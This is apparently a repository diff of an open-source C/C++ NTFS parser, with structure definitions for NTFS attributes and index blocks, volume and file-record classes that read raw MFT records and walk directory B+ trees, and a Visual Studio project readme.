#define ATTR_FILENAME_NAMESPACE_POSIX 0x00
#define ATTR_FILENAME_NAMESPACE_WIN32 0x01
#define ATTR_FILENAME_NAMESPACE_DOS 0x02
typedef struct tagATTR_FILE_NAME
{
ULONGLONG ParentRef; // File reference to the parent directory
ULONGLONG CreateTime; // File creation time
ULONGLONG AlterTime; // File altered time
ULONGLONG MFTTime; // MFT changed time
ULONGLONG ReadTime; // File read time
ULONGLONG AllocSize; // Allocated size of the file
ULONGLONG RealSize; // Real size of the file
DWORD Flags; // Flags
DWORD ER; // Used by EAs and Reparse
BYTE NameLength; // Filename length in characters
BYTE NameSpace; // Filename space
WORD Name[1]; // Filename
} ATTR_FILE_NAME;
// Attribute: VOLUME_INFORMATION
#define ATTR_VOLINFO_FLAG_DIRTY 0x0001 // Dirty
#define ATTR_VOLINFO_FLAG_RLF 0x0002 // Resize logfile
#define ATTR_VOLINFO_FLAG_UOM 0x0004 // Upgrade on mount
#define ATTR_VOLINFO_FLAG_MONT 0x0008 // Mounted on NT4
#define ATTR_VOLINFO_FLAG_DUSN 0x0010 // Delete USN underway
#define ATTR_VOLINFO_FLAG_ROI 0x0020 // Repair object Ids
#define ATTR_VOLINFO_FLAG_MBC 0x8000 // Modified by chkdsk
typedef struct tagATTR_VOLUME_INFORMATION
{
BYTE Reserved1[8]; // Always 0 ?
BYTE MajorVersion; // Major version
BYTE MinorVersion; // Minor version
WORD Flags; // Flags
BYTE Reserved2[4]; // Always 0 ?
} ATTR_VOLUME_INFORMATION;
// Attribute: INDEX_ROOT
/******************************
INDEX_ROOT
---------------------
| Index Root Header |
---------------------
| Index Header |
---------------------
| Index Entry |
---------------------
| Index Entry |
---------------------
| ...... |
---------------------
*******************************/
#define ATTR_INDEXROOT_FLAG_SMALL 0x00 // Fits in Index Root File Record
#define ATTR_INDEXROOT_FLAG_LARGE 0x01 // Index Allocation and Bitmap needed
typedef struct tagATTR_INDEX_ROOT
{
// Index Root Header
DWORD AttrType; // Attribute type (ATTR_TYPE_FILE_NAME: Directory, 0: Index View)
DWORD CollRule; // Collation rule
DWORD IBSize; // Size of index block
BYTE ClustersPerIB; // Clusters per index block (same as BPB?)
BYTE Padding1[3]; // Padding
// Index Header
DWORD EntryOffset; // Offset to the first index entry, relative to this address(0x10)
DWORD TotalEntrySize; // Total size of the index entries
DWORD AllocEntrySize; // Allocated size of the index entries
BYTE Flags; // Flags
BYTE Padding2[3]; // Padding
} ATTR_INDEX_ROOT;
// INDEX ENTRY
#define INDEX_ENTRY_FLAG_SUBNODE 0x01 // Index entry points to a sub-node
#define INDEX_ENTRY_FLAG_LAST 0x02 // Last index entry in the node, no Stream
typedef struct tagINDEX_ENTRY
{
ULONGLONG FileReference; // Low 6B: MFT record index, High 2B: MFT record sequence number
WORD Size; // Length of the index entry
WORD StreamSize; // Length of the stream
BYTE Flags; // Flags
BYTE Padding[3]; // Padding
BYTE Stream[1]; // Stream
// VCN of the sub node in Index Allocation, Offset = Size - 8
} INDEX_ENTRY;
// INDEX BLOCK
/******************************
INDEX_BLOCK
-----------------------
| Index Block Header |
-----------------------
| Index Header |
-----------------------
| Index Entry |
-----------------------
| Index Entry |
-----------------------
| ...... |
-----------------------
*******************************/
#define INDEX_BLOCK_MAGIC 'XDNI'
typedef struct tagINDEX_BLOCK
{
// Index Block Header
DWORD Magic; // "INDX"
WORD OffsetOfUS; // Offset of Update Sequence
WORD SizeOfUS; // Size in words of Update Sequence Number & Array
ULONGLONG LSN; // $LogFile Sequence Number
ULONGLONG VCN; // VCN of this index block in the index allocation
// Index Header
DWORD EntryOffset; // Offset of the index entries, relative to this address(0x18)
DWORD TotalEntrySize; // Total size of the index entries
DWORD AllocEntrySize; // Allocated size of index entries
BYTE NotLeaf; // 1 if not leaf node (has children)
BYTE Padding[3]; // Padding
} INDEX_BLOCK;
#endif

View File

@ -0,0 +1,989 @@
/*
* NTFS Volume and File Record Class
*
* Copyright(C) 2010 cyb70289 <cyb70289@gmail.com>
*
* This program/include file is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as published
* by the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program/include file is distributed in the hope that it will be
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
#ifndef __NTFS_FILERECORD_H_CYB70289
#define __NTFS_FILERECORD_H_CYB70289
///////////////////////////////////////
// NTFS Volume forward declaration
///////////////////////////////////////
class CNTFSVolume
{
public:
CNTFSVolume(_TCHAR volume);
virtual ~CNTFSVolume();
friend class CFileRecord;
friend class CAttrBase;
private:
WORD SectorSize;
DWORD ClusterSize;
DWORD FileRecordSize;
DWORD IndexBlockSize;
ULONGLONG MFTAddr;
HANDLE hVolume;
BOOL VolumeOK;
ATTR_RAW_CALLBACK AttrRawCallBack[ATTR_NUMS];
WORD Version;
// MFT file records ($MFT file itself) may be fragmented
// Get $MFT Data attribute to translate FileRecord to correct disk offset
CFileRecord *MFTRecord; // $MFT File Record
const CAttrBase *MFTData; // $MFT Data Attribute
BOOL OpenVolume(_TCHAR volume);
public:
__inline BOOL IsVolumeOK() const;
__inline WORD GetVersion() const;
__inline ULONGLONG GetRecordsCount() const;
__inline DWORD GetSectorSize() const;
__inline DWORD GetClusterSize() const;
__inline DWORD GetFileRecordSize() const;
__inline DWORD GetIndexBlockSize() const;
__inline ULONGLONG GetMFTAddr() const;
BOOL InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb);
__inline void ClearAttrRawCB();
}; // CNTFSVolume
////////////////////////////////////////////
// List to hold Attributes of the same type
////////////////////////////////////////////
typedef class CSList<CAttrBase> CAttrList;
// It seems VC6.0 doesn't support template class friends
#if _MSC_VER <= 1200
class CAttrResident;
class CAttrNonResident;
template <class TYPE_RESIDENT> class CAttr_AttrList;
#endif
////////////////////////////////
// Process a single File Record
////////////////////////////////
class CFileRecord
{
public:
CFileRecord(const CNTFSVolume *volume);
virtual ~CFileRecord();
friend class CAttrBase;
#if _MSC_VER <= 1200
// Walk around VC6.0 compiler defect
friend class CAttr_AttrList<CAttrResident>;
friend class CAttr_AttrList<CAttrNonResident>;
#else
template <class TYPE_RESIDENT> friend class CAttr_AttrList; // Won't compiler in VC6.0, why?
#endif
private:
const CNTFSVolume *Volume;
FILE_RECORD_HEADER *FileRecord;
ULONGLONG FileReference;
ATTR_RAW_CALLBACK AttrRawCallBack[ATTR_NUMS];
DWORD AttrMask;
CAttrList AttrList[ATTR_NUMS]; // Attributes
void ClearAttrs();
BOOL PatchUS(WORD *sector, int sectors, WORD usn, WORD *usarray);
__inline void UserCallBack(DWORD attType, ATTR_HEADER_COMMON *ahc, BOOL *bDiscard);
CAttrBase* AllocAttr(ATTR_HEADER_COMMON *ahc, BOOL *bUnhandled);
BOOL ParseAttr(ATTR_HEADER_COMMON *ahc);
FILE_RECORD_HEADER* ReadFileRecord(ULONGLONG &fileRef);
BOOL VisitIndexBlock(const ULONGLONG &vcn, const _TCHAR *fileName, CIndexEntry &ieFound) const;
void TraverseSubNode(const ULONGLONG &vcn, SUBENTRY_CALLBACK seCallBack) const;
public:
BOOL ParseFileRecord(ULONGLONG fileRef);
BOOL ParseAttrs();
BOOL InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb);
__inline void ClearAttrRawCB();
__inline void SetAttrMask(DWORD mask);
void TraverseAttrs(ATTRS_CALLBACK attrCallBack, void *context);
__inline const CAttrBase* FindFirstAttr(DWORD attrType) const;
const CAttrBase* FindNextAttr(DWORD attrType) const;
int GetFileName(_TCHAR *buf, DWORD bufLen) const;
__inline ULONGLONG GetFileSize() const;
void GetFileTime(FILETIME *writeTm, FILETIME *createTm = NULL, FILETIME *accessTm = NULL) const;
void TraverseSubEntries(SUBENTRY_CALLBACK seCallBack) const;
__inline const BOOL FindSubEntry(const _TCHAR *fileName, CIndexEntry &ieFound) const;
const CAttrBase* FindStream(_TCHAR *name = NULL);
__inline BOOL IsDeleted() const;
__inline BOOL IsDirectory() const;
__inline BOOL IsReadOnly() const;
__inline BOOL IsHidden() const;
__inline BOOL IsSystem() const;
__inline BOOL IsCompressed() const;
__inline BOOL IsEncrypted() const;
__inline BOOL IsSparse() const;
}; // CFileRecord
#include "NTFS_Attribute.h"
CFileRecord::CFileRecord(const CNTFSVolume *volume)
{
_ASSERT(volume);
Volume = volume;
FileRecord = NULL;
FileReference = (ULONGLONG)-1;
ClearAttrRawCB();
// Default to parse all attributes
AttrMask = MASK_ALL;
}
CFileRecord::~CFileRecord()
{
ClearAttrs();
if (FileRecord)
delete FileRecord;
}
// Free all CAttr_xxx
void CFileRecord::ClearAttrs()
{
for (int i=0; i<ATTR_NUMS; i++)
{
AttrList[i].RemoveAll();
}
}
// Verify US and update sectors
BOOL CFileRecord::PatchUS(WORD *sector, int sectors, WORD usn, WORD *usarray)
{
int i;
for (i=0; i<sectors; i++)
{
sector += ((Volume->SectorSize>>1) - 1);
if (*sector != usn)
return FALSE; // USN error
*sector = usarray[i]; // Write back correct data
sector++;
}
return TRUE;
}
// Call user defined Callback routines for an attribute
__inline void CFileRecord::UserCallBack(DWORD attType, ATTR_HEADER_COMMON *ahc, BOOL *bDiscard)
{
*bDiscard = FALSE;
if (AttrRawCallBack[attType])
AttrRawCallBack[attType](ahc, bDiscard);
else if (Volume->AttrRawCallBack[attType])
Volume->AttrRawCallBack[attType](ahc, bDiscard);
}
CAttrBase* CFileRecord::AllocAttr(ATTR_HEADER_COMMON *ahc, BOOL *bUnhandled)
{
switch (ahc->Type)
{
case ATTR_TYPE_STANDARD_INFORMATION:
return new CAttr_StdInfo(ahc, this);
case ATTR_TYPE_ATTRIBUTE_LIST:
if (ahc->NonResident)
return new CAttr_AttrList<CAttrNonResident>(ahc, this);
else
return new CAttr_AttrList<CAttrResident>(ahc, this);
case ATTR_TYPE_FILE_NAME:
return new CAttr_FileName(ahc, this);
case ATTR_TYPE_VOLUME_NAME:
return new CAttr_VolName(ahc, this);
case ATTR_TYPE_VOLUME_INFORMATION:
return new CAttr_VolInfo(ahc, this);
case ATTR_TYPE_DATA:
if (ahc->NonResident)
return new CAttr_Data<CAttrNonResident>(ahc, this);
else
return new CAttr_Data<CAttrResident>(ahc, this);
case ATTR_TYPE_INDEX_ROOT:
return new CAttr_IndexRoot(ahc, this);
case ATTR_TYPE_INDEX_ALLOCATION:
return new CAttr_IndexAlloc(ahc, this);
case ATTR_TYPE_BITMAP:
if (ahc->NonResident)
return new CAttr_Bitmap<CAttrNonResident>(ahc, this);
else
// Resident Bitmap may exist in a directory's FileRecord
// or in $MFT for a very small volume in theory
return new CAttr_Bitmap<CAttrResident>(ahc, this);
// Unhandled Attributes
default:
*bUnhandled = TRUE;
if (ahc->NonResident)
return new CAttrNonResident(ahc, this);
else
return new CAttrResident(ahc, this);
}
}
// Parse a single Attribute
// Return False on error
BOOL CFileRecord::ParseAttr(ATTR_HEADER_COMMON *ahc)
{
DWORD attrIndex = ATTR_INDEX(ahc->Type);
if (attrIndex < ATTR_NUMS)
{
BOOL bDiscard = FALSE;
UserCallBack(attrIndex, ahc, &bDiscard);
if (!bDiscard)
{
BOOL bUnhandled = FALSE;
CAttrBase *attr = AllocAttr(ahc, &bUnhandled);
if (attr)
{
if (bUnhandled)
{
NTFS_TRACE1("Unhandled attribute: 0x%04X\n", ahc->Type);
}
AttrList[attrIndex].InsertEntry(attr);
return TRUE;
}
else
{
NTFS_TRACE1("Attribute Parse error: 0x%04X\n", ahc->Type);
return FALSE;
}
}
else
{
NTFS_TRACE1("User Callback has processed this Attribute: 0x%04X\n", ahc->Type);
return TRUE;
}
}
else
{
NTFS_TRACE1("Invalid Attribute Type: 0x%04X\n", ahc->Type);
return FALSE;
}
}
// Read File Record
FILE_RECORD_HEADER* CFileRecord::ReadFileRecord(ULONGLONG &fileRef)
{
FILE_RECORD_HEADER *fr = NULL;
DWORD len;
if (fileRef < MFT_IDX_USER || Volume->MFTData == NULL)
{
// Take as continuous disk allocation
LARGE_INTEGER frAddr;
frAddr.QuadPart = Volume->MFTAddr + (Volume->FileRecordSize) * fileRef;
frAddr.LowPart = SetFilePointer(Volume->hVolume, frAddr.LowPart, &frAddr.HighPart, FILE_BEGIN);
if (frAddr.LowPart == DWORD(-1) && GetLastError() != NO_ERROR)
return FALSE;
else
{
fr = (FILE_RECORD_HEADER*)new BYTE[Volume->FileRecordSize];
if (ReadFile(Volume->hVolume, fr, Volume->FileRecordSize, &len, NULL)
&& len==Volume->FileRecordSize)
return fr;
else
{
delete fr;
return NULL;
}
}
}
else
{
// May be fragmented $MFT
ULONGLONG frAddr;
frAddr = (Volume->FileRecordSize) * fileRef;
fr = (FILE_RECORD_HEADER*)new BYTE[Volume->FileRecordSize];
if (Volume->MFTData->ReadData(frAddr, fr, Volume->FileRecordSize, &len)
&& len == Volume->FileRecordSize)
return fr;
else
{
delete fr;
return NULL;
}
}
}
// Read File Record, verify and patch the US (update sequence)
BOOL CFileRecord::ParseFileRecord(ULONGLONG fileRef)
{
// Clear previous data
ClearAttrs();
if (FileRecord)
{
delete FileRecord;
FileRecord = NULL;
}
FILE_RECORD_HEADER *fr = ReadFileRecord(fileRef);
if (fr == NULL)
{
NTFS_TRACE1("Cannot read file record %I64u\n", fileRef);
FileReference = (ULONGLONG)-1;
}
else
{
FileReference = fileRef;
if (fr->Magic == FILE_RECORD_MAGIC)
{
// Patch US
WORD *usnaddr = (WORD*)((BYTE*)fr + fr->OffsetOfUS);
WORD usn = *usnaddr;
WORD *usarray = usnaddr + 1;
if (PatchUS((WORD*)fr, Volume->FileRecordSize/Volume->SectorSize, usn, usarray))
{
NTFS_TRACE1("File Record %I64u Found\n", fileRef);
FileRecord = fr;
return TRUE;
}
else
{
NTFS_TRACE("Update Sequence Number error\n");
}
}
else
{
NTFS_TRACE("Invalid file record\n");
}
delete fr;
}
return FALSE;
}
// Visit IndexBlocks recursivly to find a specific FileName
BOOL CFileRecord::VisitIndexBlock(const ULONGLONG &vcn, const _TCHAR *fileName, CIndexEntry &ieFound) const
{
CAttr_IndexAlloc *ia = (CAttr_IndexAlloc*)FindFirstAttr(ATTR_TYPE_INDEX_ALLOCATION);
if (ia == NULL)
return FALSE;
CIndexBlock ib;
if (ia->ParseIndexBlock(vcn, ib))
{
CIndexEntry *ie = ib.FindFirstEntry();
while (ie)
{
if (ie->HasName())
{
// Compare name
int i = ie->Compare(fileName);
if (i == 0)
{
ieFound = *ie;
return TRUE;
}
else if (i < 0) // fileName is smaller than IndexEntry
{
// Visit SubNode
if (ie->IsSubNodePtr())
{
// Search in SubNode (IndexBlock), recursive call
if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound))
return TRUE;
}
else
return FALSE; // not found
}
// Just step forward if fileName is bigger than IndexEntry
}
else if (ie->IsSubNodePtr())
{
// Search in SubNode (IndexBlock), recursive call
if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound))
return TRUE;
}
ie = ib.FindNextEntry();
}
}
return FALSE;
}
// Traverse SubNode recursivly in ascending order
// Call user defined callback routine once found an subentry
void CFileRecord::TraverseSubNode(const ULONGLONG &vcn, SUBENTRY_CALLBACK seCallBack) const
{
CAttr_IndexAlloc *ia = (CAttr_IndexAlloc*)FindFirstAttr(ATTR_TYPE_INDEX_ALLOCATION);
if (ia == NULL)
return;
CIndexBlock ib;
if (ia->ParseIndexBlock(vcn, ib))
{
CIndexEntry *ie = ib.FindFirstEntry();
while (ie)
{
if (ie->IsSubNodePtr())
TraverseSubNode(ie->GetSubNodeVCN(), seCallBack); // recursive call
if (ie->HasName())
seCallBack(ie);
ie = ib.FindNextEntry();
}
}
}
// Parse all the attributes in a File Record
// And insert them into a link list
BOOL CFileRecord::ParseAttrs()
{
_ASSERT(FileRecord);
// Clear previous data
ClearAttrs();
// Visit all attributes
DWORD dataPtr = 0; // guard if data exceeds FileRecordSize bounds
ATTR_HEADER_COMMON *ahc = (ATTR_HEADER_COMMON*)((BYTE*)FileRecord + FileRecord->OffsetOfAttr);
dataPtr += FileRecord->OffsetOfAttr;
while (ahc->Type != (DWORD)-1 && (dataPtr+ahc->TotalSize) <= Volume->FileRecordSize)
{
if (ATTR_MASK(ahc->Type) & AttrMask) // Skip unwanted attributes
{
if (!ParseAttr(ahc)) // Parse error
return FALSE;
if (IsEncrypted() || IsCompressed())
{
NTFS_TRACE("Compressed and Encrypted file not supported yet !\n");
return FALSE;
}
}
dataPtr += ahc->TotalSize;
ahc = (ATTR_HEADER_COMMON*)((BYTE*)ahc + ahc->TotalSize); // next attribute
}
return TRUE;
}
// Install Attribute raw data CallBack routines for a single File Record
BOOL CFileRecord::InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb)
{
DWORD atIdx = ATTR_INDEX(attrType);
if (atIdx < ATTR_NUMS)
{
AttrRawCallBack[atIdx] = cb;
return TRUE;
}
else
return FALSE;
}
// Clear all Attribute CallBack routines
__inline void CFileRecord::ClearAttrRawCB()
{
for (int i = 0; i < ATTR_NUMS; i ++)
AttrRawCallBack[i] = NULL;
}
// Choose attributes to handle, unwanted attributes will be discarded silently
__inline void CFileRecord::SetAttrMask(DWORD mask)
{
// Standard Information and Attribute List is needed always
AttrMask = mask | MASK_STANDARD_INFORMATION | MASK_ATTRIBUTE_LIST;
}
// Traverse all Attribute and return CAttr_xxx classes to User Callback routine
void CFileRecord::TraverseAttrs(ATTRS_CALLBACK attrCallBack, void *context)
{
_ASSERT(attrCallBack);
for (int i = 0; i < ATTR_NUMS; i ++)
{
if (AttrMask & (((DWORD)1)<<i)) // skip masked attributes
{
const CAttrBase *ab = AttrList[i].FindFirstEntry();
while (ab)
{
BOOL bStop;
bStop = FALSE;
attrCallBack(ab, context, &bStop);
if (bStop)
return;
ab = AttrList[i].FindNextEntry();
}
}
}
}
// Find Attributes
__inline const CAttrBase* CFileRecord::FindFirstAttr(DWORD attrType) const
{
DWORD attrIdx = ATTR_INDEX(attrType);
return attrIdx < ATTR_NUMS ? AttrList[attrIdx].FindFirstEntry() : NULL;
}
const CAttrBase* CFileRecord::FindNextAttr(DWORD attrType) const
{
DWORD attrIdx = ATTR_INDEX(attrType);
return attrIdx < ATTR_NUMS ? AttrList[attrIdx].FindNextEntry() : NULL;
}
// Get File Name (First Win32 name)
int CFileRecord::GetFileName(_TCHAR *buf, DWORD bufLen) const
{
// A file may have several filenames
// Return the first Win32 filename
CAttr_FileName *fn = (CAttr_FileName*)AttrList[ATTR_INDEX(ATTR_TYPE_FILE_NAME)].FindFirstEntry();
while (fn)
{
if (fn->IsWin32Name())
{
int len = fn->GetFileName(buf, bufLen);
if (len != 0)
return len; // success or fail
}
fn = (CAttr_FileName*)AttrList[ATTR_INDEX(ATTR_TYPE_FILE_NAME)].FindNextEntry();
}
return 0;
}
// Get File Size
__inline ULONGLONG CFileRecord::GetFileSize() const
{
CAttr_FileName *fn = (CAttr_FileName*)AttrList[ATTR_INDEX(ATTR_TYPE_FILE_NAME)].FindFirstEntry();
return fn ? fn->GetFileSize() : 0;
}
// Get File Times
void CFileRecord::GetFileTime(FILETIME *writeTm, FILETIME *createTm, FILETIME *accessTm) const
{
// Standard Information attribute hold the most updated file time
CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
if (si)
si->GetFileTime(writeTm, createTm, accessTm);
else
{
writeTm->dwHighDateTime = 0;
writeTm->dwLowDateTime = 0;
if (createTm)
{
createTm->dwHighDateTime = 0;
createTm->dwLowDateTime = 0;
}
if (accessTm)
{
accessTm->dwHighDateTime = 0;
accessTm->dwLowDateTime = 0;
}
}
}
// Traverse all sub directories and files contained
// Call user defined callback routine once found an entry
void CFileRecord::TraverseSubEntries(SUBENTRY_CALLBACK seCallBack) const
{
_ASSERT(seCallBack);
// Start traversing from IndexRoot (B+ tree root node)
CAttr_IndexRoot* ir = (CAttr_IndexRoot*)FindFirstAttr(ATTR_TYPE_INDEX_ROOT);
if (ir == NULL || !ir->IsFileName())
return;
CIndexEntryList *ieList = (CIndexEntryList*)ir;
CIndexEntry *ie = ieList->FindFirstEntry();
while (ie)
{
// Visit subnode first
if (ie->IsSubNodePtr())
TraverseSubNode(ie->GetSubNodeVCN(), seCallBack);
if (ie->HasName())
seCallBack(ie);
ie = ieList->FindNextEntry();
}
}
// Find a specific FileName from InexRoot described B+ tree
__inline const BOOL CFileRecord::FindSubEntry(const _TCHAR *fileName, CIndexEntry &ieFound) const
{
// Start searching from IndexRoot (B+ tree root node)
CAttr_IndexRoot *ir = (CAttr_IndexRoot*)FindFirstAttr(ATTR_TYPE_INDEX_ROOT);
if (ir == NULL || !ir->IsFileName())
return FALSE;
CIndexEntryList *ieList = (CIndexEntryList*)ir;
CIndexEntry *ie = ieList->FindFirstEntry();
while (ie)
{
if (ie->HasName())
{
// Compare name
int i = ie->Compare(fileName);
if (i == 0)
{
ieFound = *ie;
return TRUE;
}
else if (i < 0) // fileName is smaller than IndexEntry
{
// Visit SubNode
if (ie->IsSubNodePtr())
{
// Search in SubNode (IndexBlock)
if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound))
return TRUE;
}
else
return FALSE; // not found
}
// Just step forward if fileName is bigger than IndexEntry
}
else if (ie->IsSubNodePtr())
{
// Search in SubNode (IndexBlock)
if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound))
return TRUE;
}
ie = ieList->FindNextEntry();
}
return FALSE;
}
// Find Data attribute class of
const CAttrBase* CFileRecord::FindStream(_TCHAR *name)
{
const CAttrBase *data = FindFirstAttr(ATTR_TYPE_DATA);
while (data)
{
if (data->IsUnNamed() && name == NULL) // Unnamed stream
break;
if ((!data->IsUnNamed()) && name) // Named stream
{
_TCHAR an[MAX_PATH];
if (data->GetAttrName(an, MAX_PATH))
{
if (_tcscmp(an, name) == 0)
break;
}
}
data = FindNextAttr(ATTR_TYPE_DATA);
}
return data;
}
// Check if it's deleted or in use
__inline BOOL CFileRecord::IsDeleted() const
{
return !(FileRecord->Flags & FILE_RECORD_FLAG_INUSE);
}
// Check if it's a directory
__inline BOOL CFileRecord::IsDirectory() const
{
return FileRecord->Flags & FILE_RECORD_FLAG_DIR;
}
__inline BOOL CFileRecord::IsReadOnly() const
{
// Standard Information attribute holds the most updated file time
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
return si ? si->IsReadOnly() : FALSE;
}
__inline BOOL CFileRecord::IsHidden() const
{
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
return si ? si->IsHidden() : FALSE;
}
__inline BOOL CFileRecord::IsSystem() const
{
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
return si ? si->IsSystem() : FALSE;
}
__inline BOOL CFileRecord::IsCompressed() const
{
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
return si ? si->IsCompressed() : FALSE;
}
__inline BOOL CFileRecord::IsEncrypted() const
{
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
return si ? si->IsEncrypted() : FALSE;
}
__inline BOOL CFileRecord::IsSparse() const
{
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
return si ? si->IsSparse() : FALSE;
}
///////////////////////////////////////
// NTFS Volume Implementation
///////////////////////////////////////
CNTFSVolume::CNTFSVolume(_TCHAR volume)
{
hVolume = INVALID_HANDLE_VALUE;
VolumeOK = FALSE;
MFTRecord = NULL;
MFTData = NULL;
Version = 0;
ClearAttrRawCB();
if (!OpenVolume(volume))
return;
// Verify NTFS volume version (must >= 3.0)
CFileRecord vol(this);
vol.SetAttrMask(MASK_VOLUME_NAME | MASK_VOLUME_INFORMATION);
if (!vol.ParseFileRecord(MFT_IDX_VOLUME))
return;
vol.ParseAttrs();
CAttr_VolInfo *vi = (CAttr_VolInfo*)vol.FindFirstAttr(ATTR_TYPE_VOLUME_INFORMATION);
if (!vi)
return;
Version = vi->GetVersion();
NTFS_TRACE2("NTFS volume version: %u.%u\n", HIBYTE(Version), LOBYTE(Version));
if (Version < 0x0300) // NT4 ?
return;
#ifdef _DEBUG
CAttr_VolName *vn = (CAttr_VolName*)vol.FindFirstAttr(ATTR_TYPE_VOLUME_NAME);
if (vn)
{
char volname[MAX_PATH];
if (vn->GetName(volname, MAX_PATH) > 0)
{
NTFS_TRACE1("NTFS volume name: %s\n", volname);
}
}
#endif
VolumeOK = TRUE;
MFTRecord = new CFileRecord(this);
MFTRecord->SetAttrMask(MASK_DATA);
if (MFTRecord->ParseFileRecord(MFT_IDX_MFT))
{
MFTRecord->ParseAttrs();
MFTData = MFTRecord->FindFirstAttr(ATTR_TYPE_DATA);
if (MFTData == NULL)
{
delete MFTRecord;
MFTRecord = NULL;
}
}
}
CNTFSVolume::~CNTFSVolume()
{
if (hVolume != INVALID_HANDLE_VALUE)
CloseHandle(hVolume);
if (MFTRecord)
delete MFTRecord;
}
// Open a volume ('a' - 'z', 'A' - 'Z'), get volume handle and BPB
BOOL CNTFSVolume::OpenVolume(_TCHAR volume)
{
// Verify parameter
if (!_istalpha(volume))
{
NTFS_TRACE("Volume name error, should be like 'C', 'D'\n");
return FALSE;
}
_TCHAR volumePath[7];
_sntprintf(volumePath, 6, _T("\\\\.\\%c:"), volume);
volumePath[6] = _T('\0');
hVolume = CreateFile(volumePath, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_READONLY, NULL);
if (hVolume != INVALID_HANDLE_VALUE)
{
DWORD num;
NTFS_BPB bpb;
// Read the first sector (boot sector)
if (ReadFile(hVolume, &bpb, 512, &num, NULL) && num==512)
{
if (strncmp((const char*)bpb.Signature, NTFS_SIGNATURE, 8) == 0)
{
// Log important volume parameters
SectorSize = bpb.BytesPerSector;
NTFS_TRACE1("Sector Size = %u bytes\n", SectorSize);
ClusterSize = SectorSize * bpb.SectorsPerCluster;
NTFS_TRACE1("Cluster Size = %u bytes\n", ClusterSize);
int sz = (char)bpb.ClustersPerFileRecord;
if (sz > 0)
FileRecordSize = ClusterSize * sz;
else
FileRecordSize = 1 << (-sz);
NTFS_TRACE1("FileRecord Size = %u bytes\n", FileRecordSize);
sz = (char)bpb.ClustersPerIndexBlock;
if (sz > 0)
IndexBlockSize = ClusterSize * sz;
else
IndexBlockSize = 1 << (-sz);
NTFS_TRACE1("IndexBlock Size = %u bytes\n", IndexBlockSize);
MFTAddr = bpb.LCN_MFT * ClusterSize;
NTFS_TRACE1("MFT address = 0x%016I64X\n", MFTAddr);
}
else
{
NTFS_TRACE("Volume file system is not NTFS\n");
goto IOError;
}
}
else
{
NTFS_TRACE("Read boot sector error\n");
goto IOError;
}
}
else
{
NTFS_TRACE1("Cannnot open volume %c\n", (char)volume);
IOError:
if (hVolume != INVALID_HANDLE_VALUE)
{
CloseHandle(hVolume);
hVolume = INVALID_HANDLE_VALUE;
}
return FALSE;
}
return TRUE;
}
// Check if Volume is successfully opened
__inline BOOL CNTFSVolume::IsVolumeOK() const
{
return VolumeOK;
}
// Get NTFS volume version
__inline WORD CNTFSVolume::GetVersion() const
{
return Version;
}
// Get File Record count
__inline ULONGLONG CNTFSVolume::GetRecordsCount() const
{
return (MFTData->GetDataSize() / FileRecordSize);
}
// Get BPB information
__inline DWORD CNTFSVolume::GetSectorSize() const
{
return SectorSize;
}
__inline DWORD CNTFSVolume::GetClusterSize() const
{
return ClusterSize;
}
__inline DWORD CNTFSVolume::GetFileRecordSize() const
{
return FileRecordSize;
}
__inline DWORD CNTFSVolume::GetIndexBlockSize() const
{
return IndexBlockSize;
}
// Get MFT starting address
__inline ULONGLONG CNTFSVolume::GetMFTAddr() const
{
return MFTAddr;
}
// Install Attribute CallBack routines for the whole Volume
BOOL CNTFSVolume::InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb)
{
DWORD atIdx = ATTR_INDEX(attrType);
if (atIdx < ATTR_NUMS)
{
AttrRawCallBack[atIdx] = cb;
return TRUE;
}
else
return FALSE;
}
// Clear all Attribute CallBack routines
__inline void CNTFSVolume::ClearAttrRawCB()
{
for (int i = 0; i < ATTR_NUMS; i ++)
AttrRawCallBack[i] = NULL;
}
#endif

View File

@ -0,0 +1,40 @@
========================================================================
CONSOLE APPLICATION : NTFSParser Project Overview
========================================================================
AppWizard has created this NTFSParser application for you.
This file contains a summary of what you will find in each of the files that
make up your NTFSParser application.
NTFSParser.vcxproj
This is the main project file for VC++ projects generated using an Application Wizard.
It contains information about the version of Visual C++ that generated the file, and
information about the platforms, configurations, and project features selected with the
Application Wizard.
NTFSParser.vcxproj.filters
This is the filters file for VC++ projects generated using an Application Wizard.
It contains information about the association between the files in your project
and the filters. This association is used in the IDE to show grouping of files with
similar extensions under a specific node (for e.g. ".cpp" files are associated with the
"Source Files" filter).
NTFSParser.cpp
This is the main application source file.
/////////////////////////////////////////////////////////////////////////////
Other standard files:
StdAfx.h, StdAfx.cpp
These files are used to build a precompiled header (PCH) file
named NTFSParser.pch and a precompiled types file named StdAfx.obj.
/////////////////////////////////////////////////////////////////////////////
Other notes:
